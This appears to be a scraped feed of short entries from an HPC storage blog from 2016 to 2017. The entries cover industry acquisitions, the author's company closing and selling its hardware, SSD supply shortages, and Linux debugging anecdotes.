https://blog.scalability.org/2017/07/cray-acquires-clusterstor-business-unit-from-seagate/ Fri, 28 Jul 2017 19:57:04 +0000 https://blog.scalability.org/2017/07/cray-acquires-clusterstor-business-unit-from-seagate/ Information at this link. It is being called a “strategic transaction”, though it likely came about vis-a-vis Seagate doing some profound and deep thinking over what business it was in. Seagate has been weathering a storm, and has been working on re-orgs to deal with a declining disk market. They acquired ClusterStor as part of a preceding transaction of Xyratex. Xyratex was the basis for the Cray storage platforms (post Enginio). https://blog.scalability.org/2017/06/more-unix-command-line-humor/ Mon, 26 Jun 2017 15:07:43 +0000 https://blog.scalability.org/2017/06/more-unix-command-line-humor/ https://blog.scalability.org/2017/06/what-reduces-risk-a-great-engineering-and-support-team-or-a-brand-name/ Mon, 26 Jun 2017 14:39:26 +0000 https://blog.scalability.org/2017/06/what-reduces-risk-a-great-engineering-and-support-team-or-a-brand-name/ I’ve written about approved vendors and “one throat to choke” concept in the past. The short take from my vantage point as a small, not well known, but highly differentiated builder of high performance storage and computing systems … was that this brand specific focus was going to remove real differentiated solutions from market, while simultaneously lowering the quality and support of products in market. The concept of brand and marketing of a brand is about erecting barriers to market entry against the smaller folk whom might have something of interest, and the larger folk who might come in with a different ecosystem. https://blog.scalability.org/2017/06/on-hackerrank-and-julia/ Wed, 14 Jun 2017 13:19:14 +0000 https://blog.scalability.org/2017/06/on-hackerrank-and-julia/ My new day job has me developing considerably less code than my previous endeavor, so I like to work on problems to keep these particular muscles in steady use. Happily, I get to do more analytics than ever before, so this at least is some compensation for the lower amount of coding. When I work on coding for myself, I’ll play with problems from my research days, or small throw-away ones, like on Hackerrank. https://blog.scalability.org/2017/06/the-birthday-problem-allocation-collisions-for-networks-and-mac-addresses/ Wed, 07 Jun 2017 15:09:53 +0000 https://blog.scalability.org/2017/06/the-birthday-problem-allocation-collisions-for-networks-and-mac-addresses/ The birthday problem is a fairly simple to state situation. There is at least a 50% probability (e.g. even chance) that at least 2 of 23 randomly chosen people in a room have the same birthday. This comes from some elementary applications of statistics, and is documented on Wikipedia. While we care less about networks celebrating their annual journey around Sol, we care more about potential address collisions for statically assigned IP addresses. https://blog.scalability.org/2017/06/now-for-your-bidding-pleasure-the-contents-of-one-company/ Fri, 02 Jun 2017 15:22:04 +0000 https://blog.scalability.org/2017/06/now-for-your-bidding-pleasure-the-contents-of-one-company/ This is an on-going process I won’t comment on, other than to provide a link to the bidding site. There are numerous cool items in there. Lot 2-57207: a 64 bay siFlash/Cadence machine with 64x 400GB SAS SSDs. Fully operational, SSDs very lightly used, extraordinarily fast unit. Lot 2-57215: 2 mac minis (one was my desktop unit) Lot 2-57216: My old Macbook pro, 750 GB SSD, 16 GB ram, NVidia gfx Lot 2-57081: Mac pro tower unit Lot 2-57232: a bunch of awesome monitors Lot 2-57222: Mini 24U rack with PDUs Lot 2-57015: Supermicro Twin 2U system (5 others just like it) Lot 2-57100: a 40 core 256GB testbed machine And many other computer systems, parts, etc. https://blog.scalability.org/2017/04/one-door-has-closed-another-has-opened/ Fri, 14 Apr 2017 14:54:35 +0000 https://blog.scalability.org/2017/04/one-door-has-closed-another-has-opened/ As I had written previously, my old company, Scalable Informatics, has closed. Read that posting to see why and how, but as with all things … we must move forward. It is cliche' to use the title phrase. But it is also true. We know the door that closed. It’s the door that has opened afterwards that I am focusing upon. I have joined Joyent to work on, as it turns out, many similar things to what I did at Scalable. https://blog.scalability.org/2017/04/hard-disk-shipments-dropped-10-qoq-2-yoy/ Tue, 11 Apr 2017 13:22:26 +0000 https://blog.scalability.org/2017/04/hard-disk-shipments-dropped-10-qoq-2-yoy/ This jives very well with what I’ve observed. Decreasing demand for enterprise storage hard disks, or as I call them “Spinning Rust Drives” (or SRD) as compared with SSD (Solid State Drives). The summary is here with a key quote being Again, jives well with what I’ve observed. Mellanox has a good take on its blog, noting that This is a critical point. While SRD are dropping in volume, there is not enough SSD fab capacity to supply the market demand. https://blog.scalability.org/2017/04/selling-hpc-things-on-ebay/ Wed, 05 Apr 2017 13:52:23 +0000 https://blog.scalability.org/2017/04/selling-hpc-things-on-ebay/ Given that the (now former) day job has ended, I am selling some of the old day job’s assets on ebay. We’ve sold some siFlash, Unison, and have current listings for Arista and Mellanox switches. More stuff will be listed in short order, check it out here. Feel free to reach out to me at joe.landman at the google mail thingy if you want to talk about any of these things, or buy before I list them. https://blog.scalability.org/2017/04/i-always-love-these-breathless-stories-of-great-speed-and-how-vcs-love-them/ Tue, 04 Apr 2017 13:46:33 +0000 https://blog.scalability.org/2017/04/i-always-love-these-breathless-stories-of-great-speed-and-how-vcs-love-them/ Though, when I look at the “great speed”, it is often on par with or less than Scalable Informatics sustained years before. From 2013 SC13 show, on the show floor, after blasting through a POC at unheard of speed, and setting long standing records in the STAC-M3 benchmarks … Article in question is in the Register. Some of the speeds and feeds: * 200 microsecs latency * 45GBps read bandwidth * 15GBps write bandwidth * 7 million IOPS But then … a fibre connection. https://blog.scalability.org/2017/03/pcilist-because-sometimes-you-really-really-need-to-know-how-your-pcie-devices-are-configured/ Wed, 29 Mar 2017 02:41:29 +0000 https://blog.scalability.org/2017/03/pcilist-because-sometimes-you-really-really-need-to-know-how-your-pcie-devices-are-configured/ If you don’t know what I am talking about here, that’s fine. I’ll assume you don’t do hardware, or you call someone else when there is a hardware problem. If you think “well gee, don’t we have lspci? so why do we need this?” then you probably have not really tried to use lspci to find this information, or didn’t know it was available. Ok … what I am talking about. https://blog.scalability.org/2017/03/requiem/ Wed, 22 Mar 2017 14:12:56 +0000 https://blog.scalability.org/2017/03/requiem/ This is the post an entrepreneur hopes to never write. They pour their energy, their time, their resources, their love into their baby. Trying to make her live, trying to make her grow. And for a while, she seems to. Everything is hitting the right way, 12+ years of uninterrupted growth and profitable operation as an entirely bootstrapped company. Market leading … no … dominating … from the metrics customers tell you are important … position. https://blog.scalability.org/2017/03/some-updates-coming-soon/ Sat, 18 Mar 2017 12:56:45 +0000 https://blog.scalability.org/2017/03/some-updates-coming-soon/ I should have something interesting to talk about over the next two weeks, though a summary of this is Scalable Informatics is undergoing a transformation. The exact form of this transformation is still being determined. In any case, I am no longer at Scalable. Some items of note in recent weeks. M&A;: Nimble was purchased by HPE. Not sure of the specifics of “why”, other than HPE didn’t have much in this space. https://blog.scalability.org/2017/03/best-comment-ive-seen-in-a-bug-report-about-a-tool/ Thu, 16 Mar 2017 18:54:32 +0000 https://blog.scalability.org/2017/03/best-comment-ive-seen-in-a-bug-report-about-a-tool/ So … gnome-terminal has been my standard cli interface on linux GUIs for a while. I can’t bring myself to use KDE for any number of reasons. Gnome itself went in strange directions, so I’ve been using Cinnamon atop Mint and Debian 8. Ok, Debian 8. Gnome-terminal. Some things missing when you right mouse button click. Like “open new tab”. Open new window is there. This works. But no tab entry. https://blog.scalability.org/2017/03/structure-by-indentation-grrrr/ Sun, 05 Mar 2017 20:56:33 +0000 https://blog.scalability.org/2017/03/structure-by-indentation-grrrr/ If you have to do this: :%s/\t/ /g in order to get a very simple function to compile because of this error File "./snd.py", line 13 return sum ^ IndentationError: unindent does not match any outer indentation level even though your editor (atom!!!!??!?!) wasn’t showing you these mixed tabs and spaces … Yeah, there is something profoundly wrong with the approach. The function in question was all of 10 lines. https://blog.scalability.org/2017/03/what-is-old-is-new-again/ Thu, 02 Mar 2017 15:26:56 +0000 https://blog.scalability.org/2017/03/what-is-old-is-new-again/ Way back in the pre-history of the internet (really DARPA-net/BITNET days), while dinosaur programming languages frolicked freely on servers with “modern” programming systems and data sets, there was a push to go from a static linking programs to a more modular dynamic linking. The thought processes were that it would save precious memory, not having many copies of libc statically linked in to binaries. It would reduce file sizes, as most of your code would be in libraries. https://blog.scalability.org/2017/02/that-was-fun-mysql-update-nuked-remote-access/ Thu, 23 Feb 2017 17:02:53 +0000 https://blog.scalability.org/2017/02/that-was-fun-mysql-update-nuked-remote-access/ Update your packages, they said. It will be more secure, they said. I guess it was. No network access to the databases. Even after turning the database server instance to listen again on the right port, I had to go in and redo the passwords and privileges. So yeah, this broke my MySQL instance for a few hours. Took longer to debug as it was late at night and I was sleepy, so I put it off until morning with caffeine. https://blog.scalability.org/2017/02/an-article-on-rust-language-for-astrophysical-simulation/ Mon, 13 Feb 2017 14:26:44 +0000 https://blog.scalability.org/2017/02/an-article-on-rust-language-for-astrophysical-simulation/ It is a short read, and you can find it on arxiv. They tackled an integration problem, basically using the code to perform a relatively simple trajectory calculation for a particular N-body problem. A few things lept out at me during my read. First, the example was fairly simplistic … a leapfrog integrator, and while it is a symplectic integrator, this particular algorithm not quite high enough order to capture all the features of the N-body interaction they were working on. https://blog.scalability.org/2017/02/brings-a-smile-to-my-face-bioit-hpc-accelerator/ Thu, 09 Feb 2017 22:21:38 +0000 https://blog.scalability.org/2017/02/brings-a-smile-to-my-face-bioit-hpc-accelerator/ Way way back in the early aughts (2000’s), we had built a set of designs for an accelerator system to speed up things like BLAST, HMMer, and other codes. We were told that no one would buy such things, as the software layer was good enough and people didn’t want black boxes. This was part of an overall accelerator strategy that we had put together at the time, and were seeking to raise capital to build. https://blog.scalability.org/2017/02/another-article-about-the-supply-crisis-hitting-ssd-flash-nvme-hpc-storage-in-general/ Tue, 07 Feb 2017 14:00:27 +0000 https://blog.scalability.org/2017/02/another-article-about-the-supply-crisis-hitting-ssd-flash-nvme-hpc-storage-in-general/ I’ve been trying to help Scalable Informatics customers understand these market realities for a while. Unfortunately, to my discredit, I’ve not been very successful at doing so … and many groups seem to assume supply is plentiful and cheap across all storage modalities. Not true. And not likely true for at least the rest of the year, if not longer. This article goes into some depth that I’ve tried to explain to others in phone conversations, private email threads. https://blog.scalability.org/2017/01/a-nice-shout-out-in-computerweekly-com-about-scalableinfo-hpc-storage/ Wed, 25 Jan 2017 17:35:43 +0000 https://blog.scalability.org/2017/01/a-nice-shout-out-in-computerweekly-com-about-scalableinfo-hpc-storage/ See the article here. They mention Axellio, and on The Reg article on their ISE product, they say “X-IO partners using Axellio will be able to compete with DSSD, Mangstor and Zstor and offer what EMC has characterised as face-melting performance.” Hey, we were the first to come up with “face melting performance”. More than a year ago. And it really wasn’t us, but my buddy Dr. James Cuff of Harvard. https://blog.scalability.org/2017/01/when-you-eliminate-the-impossible-what-is-left-no-matter-how-improbable-is-likely-the-answer/ Wed, 25 Jan 2017 17:20:15 +0000 https://blog.scalability.org/2017/01/when-you-eliminate-the-impossible-what-is-left-no-matter-how-improbable-is-likely-the-answer/ This is a fun one. A customer has quite a collection of all-flash Unison units. A while ago, they asked us to turn on LLDP support for the units. It has some value for a number of scenarios. Later, they asked us to turn it off. So we removed the daemon. Unison ceased generating/consuming LLDP packets. Or so we thought. Fast forward to last week. We are being told that LLDP PDUs are being generated by the kit. https://blog.scalability.org/2017/01/virtualized-infrastructure-with-vm-storage-on-software-raid-a-rebuild-occasional-vm-pauses/ Sun, 22 Jan 2017 21:09:10 +0000 https://blog.scalability.org/2017/01/virtualized-infrastructure-with-vm-storage-on-software-raid-a-rebuild-occasional-vm-pauses/ Not what I was hoping for. I may explain more of what I am doing later (less interesting than why I am doing it), but suffice it to say that I’ve got a machine I’ve turned into a VM/container box, so I can build something I need to build. This box has a large RAID6 for storage. Spinning disk. Fairly well optimized, I get good performance out of it. The box has ample CPU, and ample memory. https://blog.scalability.org/2017/01/a-new-hpc-project-on-github-nlytiq-base/ Sat, 21 Jan 2017 02:53:31 +0000 https://blog.scalability.org/2017/01/a-new-hpc-project-on-github-nlytiq-base/ Another itch I’ve been wanting to scratch for a very long time. I had internal versions of a small version of this for a while, but I wasn’t happy with them. The makefiles were brittle. The builds, while automated, would fail, quite often, for obscure reasons. And I want a platform to build upon, to enable others to build upon. Not OpenHPC which is more about the infrastructure one needs for building/running high performance computing systems. https://blog.scalability.org/2017/01/there-are-real-and-subtle-differences-between-su-and-sudo/ Thu, 19 Jan 2017 15:03:21 +0000 https://blog.scalability.org/2017/01/there-are-real-and-subtle-differences-between-su-and-sudo/ Most of the time, sudo just works. Every now and then, it doesn’t. Most recently was with a build I am working on, where I got a “permission denied” error for creating a directory. The reason for this was non-obvious at first. You “are” superuser after all when you sudo, right? Aren’t you? Sort of. Your effective user ID has been set to the superuser. Your real user ID still is yours. https://blog.scalability.org/2017/01/combine-these-things-and-get-a-very-difficult-to-understand-customer-service/ Wed, 18 Jan 2017 20:24:28 +0000 https://blog.scalability.org/2017/01/combine-these-things-and-get-a-very-difficult-to-understand-customer-service/ In the process of disconnecting a service we don’t need anymore. So I call their number. Obviously reroutes to a remote call center. One where english is not the primary language. I’m ok with this, but the person has a very thick and hard to understand accent. Their usage and idiom were not American, or British English. This also complicates matters somewhat, but I am used to it. I can infer where they were from, from their usage. https://blog.scalability.org/2017/01/ssdflashmemory-shortage-day-n1/ Mon, 16 Jan 2017 19:53:40 +0000 https://blog.scalability.org/2017/01/ssdflashmemory-shortage-day-n1/ There has been a huge demand of SSD/Flash/memory components from a number of end users. Sadly not the day jobs customers … but enough to deplete the market of supply. Watching basic economics at work is fascinating. Supply is highly constrained, while demand is rising. Couple that with a (mis)expectation of continuous falling prices across the board leads to interesting conversations with customers. We’ve tried to set expectations appropriately, but we’ve been bitten in the past by doing just this. https://blog.scalability.org/2017/01/a-new-old-customer-for-the-day-job/ Mon, 16 Jan 2017 19:40:52 +0000 https://blog.scalability.org/2017/01/a-new-old-customer-for-the-day-job/ Our friends at MSU HPCC now are the proud owners of a very fast/high performance Unison Flash storage system, and a ZFS backed high performance Unison storage spinning disk unit. Installed first week of Jan 2017. As MSU is one of my alma mater institutions, I am quite happy about helping them out with this kit. They’ve been a customer previously; they had bought some HPC MPI/OpenMP programming training in the dim and distant past. https://blog.scalability.org/2017/01/architecture-matters-and-yes-virginia-there-are-no-silver-bullets-for-performance/ Mon, 16 Jan 2017 19:31:23 +0000 https://blog.scalability.org/2017/01/architecture-matters-and-yes-virginia-there-are-no-silver-bullets-for-performance/ Time and time again, the day job had been asked to discuss how the solutions are differentiated. Time and time again, we showed benchmarks on real workloads that show significant performance deltas. Not 2 or 3 sigma measurements. More often than not, 2x -> 10x better. Yet … yet … we were asked, again and again, how we did it. We pointed to our architecture. But, they complained, isn’t it the same as X (insert your favorite volume vendor here)? https://blog.scalability.org/2017/01/perl-on-the-rise-for-devops/ Sun, 08 Jan 2017 16:15:28 +0000 https://blog.scalability.org/2017/01/perl-on-the-rise-for-devops/ Note: I do quite a bit of development in Perl, and have my own biases, so please do take this into consideration. It is one of many languages I use, but it is by and large, my current go-to language. I’ll discuss below. According to TIOBE (yeah, I know), Perl usage is on the rise. The linked article posits that this is for DevOps reasons. The author of the article works at a company that makes money from Perl and Python … they build (actually very good) tools. https://blog.scalability.org/2016/12/another-itch-scratched/ Mon, 26 Dec 2016 22:58:38 +0000 https://blog.scalability.org/2016/12/another-itch-scratched/ So there you are, with many software RAIDs. You’ve been building and rebuilding them. And somewhere along the line, you lost track of which devices were which. So somehow you didn’t clean up the last build right, and you thought you had a hot spare … until you looked at /proc/mdstat … and said … Oh … So. I wanted to do the detailed accounting, in a simple way. I want the tool to tell me if I am missing a physical drive (e. https://blog.scalability.org/2016/12/clusterhq-dies/ Fri, 23 Dec 2016 16:28:16 +0000 https://blog.scalability.org/2016/12/clusterhq-dies/ ClusterHQ is now dead. They were an early container play, building a number of tools around Docker/etc. for the space. Containers are a step between bare metal and VMs. FLocker (ClusterHQ’s product) is open source, and they were looking to monetize it in a different way (not on acquisition, but on support). In this space though, Kubernetes reigns supreme. So competing products/projects need to adapt or outcompete. And its very hard to outcompete something like k8s. https://blog.scalability.org/2016/12/fortran-for-webapps/ Wed, 21 Dec 2016 03:21:09 +0000 https://blog.scalability.org/2016/12/fortran-for-webapps/ Use Fortran for your MVC web app. No, really … Here you are, coding your new density functional theory app, and you want to give it a nice shiny new web framework front end. Config files are so … 80s … Like in grad school, man … You want shiny new MVC action, with the goodness of fortran mixed in. Out comes Fortran.io. https://blog.scalability.org/2016/12/another-fun-bit-of-debugging/ Wed, 21 Dec 2016 03:12:40 +0000 https://blog.scalability.org/2016/12/another-fun-bit-of-debugging/ Ok … so here you are doing a code build. Your environment is all set. You have ample space. Lots of CPU, lots of RAM. All packages are up to date. You start your make. You have another window open with dstat running, just to kinda, sorta watch the system, while you are doing other things. And while you are working, you realize dstat has stopped scrolling. Strange, why would that be. https://blog.scalability.org/2016/12/violin-files-for-chapter-11/ Sat, 17 Dec 2016 17:34:17 +0000 https://blog.scalability.org/2016/12/violin-files-for-chapter-11/ This has been long in coming. I feel for the people involved. Violin makes proprietary flash modules and chassis, to provide an all flash “array”. The performance is somewhat “meh”, and the cost is high. Like most of the rest of the companies in this space, their latest model bits are quite a bit below Scalable’s 4 year old models, never mind the new stuff. Since the IPO, they’ve been on something of a monotonic down-direction in share price. https://blog.scalability.org/2016/12/so-it-seems-java-is-not-free/ Sat, 17 Dec 2016 17:26:53 +0000 https://blog.scalability.org/2016/12/so-it-seems-java-is-not-free/ This article on The Register indicates that Oracle is now working actively to monetize java use. Given the spate of java hacks over the years, and the decidedly non-free nature of the language, I suspect we are going to see replacement development language use skyrocket, as people develop in anything-but-Java going forward. Think about the risks … you have a massive platform that people have been using with a fairly large number of compromises (client side certainly) … and now you need to start paying for the privilege of using the platform. https://blog.scalability.org/2016/12/shes-dead-jim/ Thu, 01 Dec 2016 18:35:32 +0000 https://blog.scalability.org/2016/12/shes-dead-jim/ It looks like (if the rumor is true) that Solaris will be pushing up the daisies soon. Note: Solaris != SmartOS This has been a long time coming. Combine this with Fujitsu dumping SPARC for headline projects … yeah … its likely over. FWIW: I like SmartOS. The issue for it are drivers. We tried helping, and were able to get one group to update their driver set. But getting others to update (specifically Mellanox) will be even harder now (and it was impossible beforehand, for reasons that were not Mellanox’s fault). https://blog.scalability.org/2016/11/on-closure/ Wed, 09 Nov 2016 19:44:51 +0000 https://blog.scalability.org/2016/11/on-closure/ I work with many people, have regular email and phone contact with them, as well as occasional face to face meetings. We talk ideas back and forth, develop plans. I work on designs, coordinating everything that goes into those designs (usually built upon our kit). I work hard on my proposals, thinking many things through, developing very detailed plans. I share these with the people … our customers. And then the pinging begins. https://blog.scalability.org/2016/11/inventory-reduction-event-at-the-day-job/ Wed, 02 Nov 2016 20:02:21 +0000 https://blog.scalability.org/2016/11/inventory-reduction-event-at-the-day-job/ We’ve got 3x Unison (https://scalableinformatics.com/unison) and 1x cadence (https://scalableinformatics.com/cadence) system that we need to clear out. The Unison machines are 5-7GB/s each, and the Cadence is 10-20GB/s and 200-600k IOPs (depending upon storage configuration). More info by emailing me. Everything is on a first come, first served basis, feel free to reach out if you’d like to hear more. Specs: ucp-01: Unison1 12 core, 128GB ram 2x40GbE or 4x10GbE ports 60x 2TB drives 4x 800GB SSD ucp-04: Unison2 12 core, 128GB ram 2x40GbE or 4x10GbE ports 60x 2TB drives 4x 800GB SSD usn-03: Cadence1 12 core, 128GB ram 2x40GbE or 4x10GbE ports 48x 400GB SATA SSD One more unlisted Unison unit with the same specs as the others, though with 3TB drives. https://blog.scalability.org/2016/11/its-2016-almost-2017-fix-your-application-installer-so-it-doesnt-need-to-reboot-my-machine/ Tue, 01 Nov 2016 17:10:34 +0000 https://blog.scalability.org/2016/11/its-2016-almost-2017-fix-your-application-installer-so-it-doesnt-need-to-reboot-my-machine/ There I was running my windows in a window on my desktop. Running a nice little word processor from a company in Redmond, WA. Working on a document. About 15 minutes in, and I usually save at 30 minute boundaries … because … hey … they haven’t quite figured out that the word processor should do this for you … AUTOMATICALLY … Ok, I am shouting. Calm down. Anyway, for some reason, some little Cupertino company’s code pops up and says “hey, you wanna update me? https://blog.scalability.org/2016/10/strace-p-is-your-friend/ Wed, 26 Oct 2016 14:10:25 +0000 https://blog.scalability.org/2016/10/strace-p-is-your-friend/ So there I was, trying to use a serial port on a node which was connected to a serial port on a switch. Which I needed to properly configure the switch. So I light up minicom and get garbage. Great, a baud rate mismatch, easily fixed. Fix it. Connect again. I get the first 10-12 characters … and then garbage. Hmmm. I’d like to pause our story for a moment, and say I had the key insight at this moment … but that would not be true. https://blog.scalability.org/2016/10/finding-unpatched-features-in-distro-packages/ Wed, 19 Oct 2016 16:07:15 +0000 https://blog.scalability.org/2016/10/finding-unpatched-features-in-distro-packages/ I generally expect baseline distro packages to be “old” by some measure. Even for more forward thinking distros, they generally (mis)equate age with stability. I’ve heard the expression “bug for bug compatible” when dealing with newer code on older systems. Something about the devil you know vs the devil you don’t. Ok. In this case, Cmake. A good development tool, gaining popularity over autotools and other things. Base SIOS image is on Debian 8. https://blog.scalability.org/2016/10/watching-a-low-level-attack-in-process/ Sat, 15 Oct 2016 21:18:59 +0000 https://blog.scalability.org/2016/10/watching-a-low-level-attack-in-process/ I won’t say where, but it is fascinating watching what is being tried. I won’t divulge details of any sort (asymmetric information works to my advantage here). https://blog.scalability.org/2016/10/on-expectations/ Wed, 05 Oct 2016 02:09:50 +0000 https://blog.scalability.org/2016/10/on-expectations/ This has happened multiple times over the last few months. Just variations on the theme as it were, so I’ll talk about the theme. The day job builds some of the fastest systems for storage and analytics in market. We pride ourselves on being able to make things go very … very fast. If its slow, IMO, its a bug. So we often get people contacting us with their requirements. These requirements are often very hard for our competitors, and fairly simple for us to address. https://blog.scalability.org/2016/09/excellent-article-on-mistakes-made-for-infrastructure-cloud-jail-is-about-right/ Fri, 30 Sep 2016 17:37:44 +0000 https://blog.scalability.org/2016/09/excellent-article-on-mistakes-made-for-infrastructure-cloud-jail-is-about-right/ Article is here at Firstround capital. This goes to a point I’ve made many many times to customers going the cloud route exclusively rather than the internal infrastructure route or hybrid route. Basically it is that the economics simply don’t work. We’ve used a set of models based upon observed customer use cases, and demonstrated this to many folks (customers, VCs, etc.) Many are unimpressed until they actually live the life themselves, have the bills to pay, and then really … really grok what is going on. https://blog.scalability.org/2016/09/the-joy-of-ie-and-urls-or-how-to-fix-ridiculous-parsing-errors-on-the-part-of-some-helpers/ Thu, 29 Sep 2016 19:39:12 +0000 https://blog.scalability.org/2016/09/the-joy-of-ie-and-urls-or-how-to-fix-ridiculous-parsing-errors-on-the-part-of-some-helpers/ Short version. Day job sending some marketing out. URLs are pretty clear cut. Tested well. But some clients seem to have mis-parsed the url. Like with a trailing “)”. For some reason. That I don’t quite grok. I tried a few ways of fixing it. Yes, I know, because I fixed it, I baked it into the spec. /sigh First was a regex rewrite rule. Turns out the rewrite didn’t quite work the way it was intended, and it killed the requests. https://blog.scalability.org/2016/09/i-dont-agree-with-everything-he-wrote-about-systemd-but-he-isnt-wrong-on-a-fair-amount-of-it/ Thu, 29 Sep 2016 13:45:50 +0000 https://blog.scalability.org/2016/09/i-dont-agree-with-everything-he-wrote-about-systemd-but-he-isnt-wrong-on-a-fair-amount-of-it/ Systemd has taken the linux world by storm. Replacing 20-ish year old init style processing for a more legitimate control plane, and replacing it with a centralized resource to handle this control. There are many things to like within it, such as the granularity of control. But there are any number of things that are badly broken by default. Actually some of these things are specifically geared towards desktop users (which isn’t a bad thing if you are a desktop linux user, as I am). https://blog.scalability.org/2016/09/hows-this-for-a-nice-deskside-system-one-of-our-cadence-boxen/ Wed, 28 Sep 2016 02:30:37 +0000 https://blog.scalability.org/2016/09/hows-this-for-a-nice-deskside-system-one-of-our-cadence-boxen/ For a partner. They made a request for something we’ve not built in a while … it had been end of lifed. One of our old Pegasus units. A portable deskside supercomputer. In this case, a deskside franken-computer … built out of the spare parts from other units in our lab. It started out as a 24 core monster, but we had a power supply burn out, and take the motherboard with it. https://blog.scalability.org/2016/09/build-me-a-big-data-analysis-room/ Wed, 28 Sep 2016 02:09:14 +0000 https://blog.scalability.org/2016/09/build-me-a-big-data-analysis-room/ This was the request that showed up on our doorstep. A room. Not a system. But a room. Visions of the Star Trek NG bridge came to mind. Then the old SGI power wall … 7 meters wide by 2 meters high, driven by an awesomely powerful Onyx system (now underpowered compared to a good Nvidia card). Of course, the budget wouldn’t allow any of these, but it was still a cool request. https://blog.scalability.org/2016/09/a-good-read-on-realities-behind-cloud-computing/ Fri, 23 Sep 2016 11:53:27 +0000 https://blog.scalability.org/2016/09/a-good-read-on-realities-behind-cloud-computing/ In this article on the venerable Next Platform site, Addison Snell makes a case against some of the presumed truths of cloud computing. One of the points he makes is specifically something we run into all the time with customers, and yet this particular untruth isn’t really being reported the way our customers look at it. Sure, you are paying for the unused capacity. This is how utility models work. Tenancy is the most important measure to the business providing the systems. https://blog.scalability.org/2016/09/running-conditioning-on-4x-forte-hpc-nvme-storage-units/ Wed, 21 Sep 2016 20:42:50 +0000 https://blog.scalability.org/2016/09/running-conditioning-on-4x-forte-hpc-nvme-storage-units/ This is our conditioning pass to get the units to stable state for block allocations. We run a number of fill passes over the units. Each pass takes around 42 minutes for the denser units, 21 minutes for the less dense ones. After a few passes, we hit a nice equilibrium, and performance is more deterministic, and less likely to drop as block allocations gradually fill the unit. We run the conditioning over the complete device, one conditioning process per storage device, with multiple iterations of the passes. https://blog.scalability.org/2016/09/amazing-statistics/ Sun, 18 Sep 2016 16:17:40 +0000 https://blog.scalability.org/2016/09/amazing-statistics/ In the last year, this has been what this blog has seen for visitors/viewers and page views. 188,654 (unique) visitors 2,572,665 page views I am … humbled … https://blog.scalability.org/2016/09/aquila-launches-aquarius/ Thu, 15 Sep 2016 17:11:00 +0000 https://blog.scalability.org/2016/09/aquila-launches-aquarius/ Story is here, at the always excellent InsideHPC site. Scroll the linked page on Aquarius to see some of their tech and their partners … Congrats guys! Great job! https://blog.scalability.org/2016/09/new-hpc-storage-configs-for-bigdata-up-to-16pb-at-160gbs/ Thu, 15 Sep 2016 15:54:41 +0000 https://blog.scalability.org/2016/09/new-hpc-storage-configs-for-bigdata-up-to-16pb-at-160gbs/ This is an update to Scalable Informatics “portable petabyte” offering. Basically, from 1 to 16PB of usable space, distributed and mirrored metadata, high performance (100Gb) network fabric, we’ve got a very dense, very fast system available now, at a very aggressive price point (starting configs around $0.20/GB). Batteries included … long on features, functionality, performance. Short on cost. We are leveraging the denser spinning rust drives (SRD), as well as a number of storage technologies that we’ve built or integrated into the systems. https://blog.scalability.org/2016/09/fully-ramdisk-booted-centos-7-2-based-sios-image-for-hpc-bigdata-storage-etc/ Thu, 15 Sep 2016 02:33:52 +0000 https://blog.scalability.org/2016/09/fully-ramdisk-booted-centos-7-2-based-sios-image-for-hpc-bigdata-storage-etc/ This is something we’ve been working on for a while … a completely clean, as baseline a distro as possible, version of our SIOS RAMdisk image using CentOS (and by extension, Red Hat … just need to point to those repositories). And its available to pull down and use as you wish from our download site. Ok, so what does it do? Simple. It boots an entire OS, into RAM. No disks to manage and worry over. https://blog.scalability.org/2016/08/an-article-on-python-vs-julia-for-scripting/ Tue, 23 Aug 2016 14:32:35 +0000 https://blog.scalability.org/2016/08/an-article-on-python-vs-julia-for-scripting/ For those whom don’t know, Julia is a very powerful new language, which aims to leverage a JIT compilation mechanism to generate very fast numerical/computational code in general from a well thought out language. I’ve argued for a while that it feels like a better Python than Python. Python, for those whom aren’t aware, is a scripting language which has risen in popularity over the recent years. It is generally fairly easy to work in, with a few caveats. https://blog.scalability.org/2016/08/openldap-sssd-the-simple-guide/ Mon, 22 Aug 2016 19:45:46 +0000 https://blog.scalability.org/2016/08/openldap-sssd-the-simple-guide/ Ok. Here’s the problem. Small environment for customers, whom are not really sure what they want and need for authentication. Yes, they asked us to use local users for the machines. No, the number of users was not small. AD may or may not be in the picture. Ok, I am combining two sets of users with common problems here. In one case, they wanted manual installation of many users onto machines without permanent config files. https://blog.scalability.org/2016/08/ma-time-hpe-buys-sgi-mostly-for-the-big-data-analytics-appliances/ Fri, 12 Aug 2016 02:30:31 +0000 https://blog.scalability.org/2016/08/ma-time-hpe-buys-sgi-mostly-for-the-big-data-analytics-appliances/ I do expect more consolidation in this space. There aren’t many players doing what SGI (and the day job) does. The story is here. The interesting thing about this is, that this is in the high performance data analytics appliance space. As they write: 12-16% CAGR for data analytics, which I think is low … . And the point they may about the data explosion is exactly what we talk about as well. https://blog.scalability.org/2016/08/scalableinfo-60-bay-unison-with-these-3-6pb-raw-per-4u-box/ Wed, 10 Aug 2016 02:23:32 +0000 https://blog.scalability.org/2016/08/scalableinfo-60-bay-unison-with-these-3-6pb-raw-per-4u-box/ Color me impressed … Seagate and their 60TB 3.5inch SAS drive. Yes, the 60 bay Unison units can handle this. That would be 3.6PB per 4U unit. 10x 4U per 48U rack. 36PB raw per rack. 100PB in 3 racks, 30 racks for an exabyte (EB). The issue would be the storage bandwidth wall height. Doing the math, 60TB/(1GB/s) -> 6 x 104 seconds to empty/fill such a single unit. We can drive these about 50GB/s in a box, so a single box would be 3600TB/(50GB/s) or 7. https://blog.scalability.org/2016/08/raw-unapologetic-firepower-kdb-from-kx/ Fri, 05 Aug 2016 18:43:20 +0000 https://blog.scalability.org/2016/08/raw-unapologetic-firepower-kdb-from-kx/ While the day job builds (hyperconverged) appliances for big data analytics and storage, our partners build the tools that enable users to work easily with astounding quantities of data, and do so very rapidly, and without a great deal of code. I’ve always been amazed at the raw power in this tool. Think of a concise functional/vector language, coupled tightly to a SQL database. Its not quite an exact description, have a look at Kx’s website for a more accurate one. https://blog.scalability.org/2016/07/seagate-and-clusterstor-a-lesson-in-not-jumping-to-conclusions-based-on-what-was-not-said/ Tue, 26 Jul 2016 16:38:12 +0000 https://blog.scalability.org/2016/07/seagate-and-clusterstor-a-lesson-in-not-jumping-to-conclusions-based-on-what-was-not-said/ I saw this analysis this morning on the Register’s channel site. This follows on the announcement of other layoffs and shuttering of facilities. A few things. First a disclosure: arguably, the day job and more specifically our Unison product is in “direct” competition with ClusterStor, though we never see them in deals. This may or may not be a bad thing, and likely more due to market focus (we do big data, analytics, insanely fast storage in hyperconverged packages) than anything else. 